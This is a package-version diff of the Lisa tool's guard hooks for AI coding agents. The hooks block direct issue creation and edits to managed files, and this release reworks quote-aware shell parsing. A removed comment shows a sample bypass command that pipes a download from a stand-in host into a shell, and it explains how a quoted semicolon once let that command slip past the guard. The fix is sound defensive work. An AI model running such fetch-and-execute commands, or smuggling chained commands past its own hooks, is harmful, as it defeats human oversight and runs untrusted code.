@codyswann/lisa 4.59.3 → 4.59.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +33 -72
- package/all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh +18 -10
- package/all/copy-overwrite/scripts/lisa-lint-staged-preflight.mjs +33 -9
- package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
- package/dist/core/lisa-owned-hash-ledger.js +6 -0
- package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
- package/dist/core/nightly-e2e-guard-behavior-certificate.js +2 -2
- package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
- package/dist/core/upstream-evidence-manifest.js +6 -5
- package/dist/core/upstream-evidence-manifest.js.map +1 -1
- package/dist/opencode/plugin-templates/block-managed-file-edits.sh +18 -10
- package/package.json +4 -4
- package/plugins/lisa/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-agy/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-agy/plugin.json +1 -1
- package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk-agy/plugin.json +1 -1
- package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-expo-agy/plugin.json +1 -1
- package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs-agy/plugin.json +1 -1
- package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw-agy/plugin.json +1 -1
- package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser-agy/plugin.json +1 -1
- package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-rails-agy/plugin.json +1 -1
- package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript-agy/plugin.json +1 -1
- package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki-agy/plugin.json +1 -1
- package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/src/base/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/src/base/hooks/block-managed-file-edits.sh +18 -10
|
@@ -1055,89 +1055,50 @@ def strip_heredocs(text):
|
|
|
1055
1055
|
return "\n".join(output)
|
|
1056
1056
|
|
|
1057
1057
|
|
|
1058
|
-
|
|
1059
|
-
"""
|
|
1058
|
+
class LiteralToken(str):
|
|
1059
|
+
"""A source word containing quoted data, never a standalone separator."""
|
|
1060
1060
|
|
|
1061
|
-
shlex strips quotes, so by the time a token is in hand there is no way to
|
|
1062
|
-
tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
|
|
1063
1061
|
|
|
1064
|
-
|
|
1065
|
-
unquoted
|
|
1066
|
-
a command. That is the entire distinction.
|
|
1067
|
-
|
|
1068
|
-
It must be answered PER OCCURRENCE, not per token value. Asking "does the
|
|
1069
|
-
text contain a quoted `;`?" classifies every `;` in the command by whether
|
|
1070
|
-
ANY of them was quoted, so
|
|
1071
|
-
|
|
1072
|
-
gh issue create --title x --body ";" ; curl evil | sh
|
|
1073
|
-
|
|
1074
|
-
exempted the real chaining semicolon because a different, quoted one
|
|
1075
|
-
appeared in --body. That is a bypass of this guard, not a nuisance: the
|
|
1076
|
-
exemption added to stop a false refusal became the way through.
|
|
1077
|
-
|
|
1078
|
-
Lexing the same text a second time with `posix=False` preserves the quote
|
|
1079
|
-
characters while producing the same tokens in the same order, so position
|
|
1080
|
-
`i` answers for occurrence `i` and nothing else.
|
|
1081
|
-
|
|
1082
|
-
Args:
|
|
1083
|
-
text: The original command string.
|
|
1084
|
-
expected: Token count from the posix lex, used to prove alignment.
|
|
1062
|
+
def explode_operators(tokens, text=""):
|
|
1063
|
+
"""Separate unquoted operators without losing mixed-word quote boundaries.
|
|
1085
1064
|
|
|
1086
|
-
|
|
1087
|
-
|
|
1088
|
-
|
|
1065
|
+
Hide each quoted or escaped source fragment before the ordinary shlex pass.
|
|
1066
|
+
Split operators while those fragments are opaque, then restore their values.
|
|
1067
|
+
Per-occurrence placeholders cannot exempt a different, unquoted separator.
|
|
1089
1068
|
"""
|
|
1090
|
-
|
|
1091
|
-
|
|
1092
|
-
|
|
1093
|
-
return []
|
|
1094
|
-
# Alignment is the whole basis for indexing one lex by the other's
|
|
1095
|
-
# positions. If the two disagree, fail closed rather than exempt the wrong
|
|
1096
|
-
# token: a missed exemption is a false refusal, a wrong one is a bypass.
|
|
1097
|
-
if len(raw) != expected:
|
|
1098
|
-
return []
|
|
1099
|
-
return [token[:1] in ('"', "'") for token in raw]
|
|
1100
|
-
|
|
1069
|
+
operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
|
|
1070
|
+
if not text:
|
|
1071
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1101
1072
|
|
|
1102
|
-
|
|
1103
|
-
|
|
1073
|
+
prefix = "__lisa_literal_"
|
|
1074
|
+
while prefix in text:
|
|
1075
|
+
prefix += "_"
|
|
1076
|
+
values = []
|
|
1077
|
+
fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
|
|
1104
1078
|
|
|
1105
|
-
|
|
1106
|
-
|
|
1107
|
-
|
|
1079
|
+
def hide(match):
|
|
1080
|
+
"""Decode one protected fragment through the same POSIX lexer."""
|
|
1081
|
+
value = shlex.split(match.group(0), posix=True)
|
|
1082
|
+
values.append(value[0] if value else "")
|
|
1083
|
+
return prefix + str(len(values) - 1) + "__"
|
|
1108
1084
|
|
|
1109
|
-
|
|
1110
|
-
|
|
1111
|
-
semicolon, the `--label status:ready` landed in a different segment from the
|
|
1112
|
-
`gh issue create`, and the guard refused a correctly-formed filing while
|
|
1113
|
-
telling the author to add the label they had already added. Recorded on
|
|
1114
|
-
CodySwannGT/lisa#2634 after it blocked a real filing.
|
|
1085
|
+
masked = fragments.sub(hide, text)
|
|
1086
|
+
marker = re.compile(re.escape(prefix) + r"(\d+)__")
|
|
1115
1087
|
|
|
1116
|
-
|
|
1117
|
-
|
|
1118
|
-
|
|
1119
|
-
the exact regression the GLUED_OPERATORS comment above records as having
|
|
1120
|
-
silently un-refused every GraphQL creation.
|
|
1088
|
+
def restore(value):
|
|
1089
|
+
"""Restore once, so decoded text cannot become another placeholder."""
|
|
1090
|
+
return marker.sub(lambda match: values[int(match.group(1))], value)
|
|
1121
1091
|
|
|
1122
|
-
|
|
1123
|
-
|
|
1124
|
-
|
|
1092
|
+
shadow = shlex.split(masked, posix=True)
|
|
1093
|
+
if [restore(token) for token in shadow] != tokens:
|
|
1094
|
+
# If alignment cannot be established, grant no quoting exemptions.
|
|
1095
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1125
1096
|
|
|
1126
|
-
Returns:
|
|
1127
|
-
Tokens with operators separated out.
|
|
1128
|
-
"""
|
|
1129
|
-
pattern = re.compile(
|
|
1130
|
-
"(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
|
|
1131
|
-
)
|
|
1132
1097
|
exploded = []
|
|
1133
|
-
|
|
1134
|
-
|
|
1135
|
-
if index < len(quoted) and quoted[index]:
|
|
1136
|
-
exploded.append(token)
|
|
1137
|
-
continue
|
|
1138
|
-
for piece in pattern.split(token):
|
|
1098
|
+
for token in shadow:
|
|
1099
|
+
for piece in operators.split(token):
|
|
1139
1100
|
if piece:
|
|
1140
|
-
exploded.append(piece)
|
|
1101
|
+
exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
|
|
1141
1102
|
return exploded
|
|
1142
1103
|
|
|
1143
1104
|
|
|
@@ -1153,7 +1114,7 @@ def segment(tokens):
|
|
|
1153
1114
|
segments = []
|
|
1154
1115
|
current = []
|
|
1155
1116
|
for token in tokens:
|
|
1156
|
-
if token in SEGMENT_BOUNDARIES:
|
|
1117
|
+
if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
|
|
1157
1118
|
segments.append(current)
|
|
1158
1119
|
current = []
|
|
1159
1120
|
continue
|
|
@@ -322,7 +322,7 @@ managed_source() {
|
|
|
322
322
|
# The distinction earns its keep because the two populations fail in OPPOSITE
|
|
323
323
|
# ways, and a guard that gives one answer is wrong for half the files it covers:
|
|
324
324
|
# an edited copy-overwrite file is PRESERVED and silently forks, while a
|
|
325
|
-
# generated file is REBUILT and the edit vanishes on the next
|
|
325
|
+
# generated file is REBUILT and the edit vanishes on the next explicit apply.
|
|
326
326
|
generated_path() {
|
|
327
327
|
local rel="$1"
|
|
328
328
|
local module="$package_root/dist/migrations/generated-paths.js"
|
|
@@ -361,16 +361,24 @@ refuse() {
|
|
|
361
361
|
local target="$1"
|
|
362
362
|
local source="$2"
|
|
363
363
|
local rel="$3"
|
|
364
|
-
local consequence
|
|
365
364
|
if generated_path "$rel"; then
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
365
|
+
cat >&2 <<EOF
|
|
366
|
+
BLOCKED: refusing to write \`$target\`.
|
|
367
|
+
|
|
368
|
+
WHY: this file is generated by \`lisa apply\` (\`$source\`).
|
|
369
|
+
\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
|
|
370
|
+
rebuilds it, so a direct edit will be lost.
|
|
371
|
+
|
|
372
|
+
Change the generation source upstream in Lisa, or the supported project
|
|
373
|
+
configuration that supplies it, then run \`lisa apply\` to regenerate the file.
|
|
374
|
+
|
|
375
|
+
If a human explicitly asked for this edit, they can re-run with
|
|
376
|
+
\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
|
|
377
|
+
EOF
|
|
378
|
+
exit 2
|
|
379
|
+
fi
|
|
380
|
+
local consequence
|
|
381
|
+
if ledger_tracked "$rel"; then
|
|
374
382
|
consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
|
|
375
383
|
and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
|
|
376
384
|
whether it is out of date or deliberately stronger. Kept yours.\"
|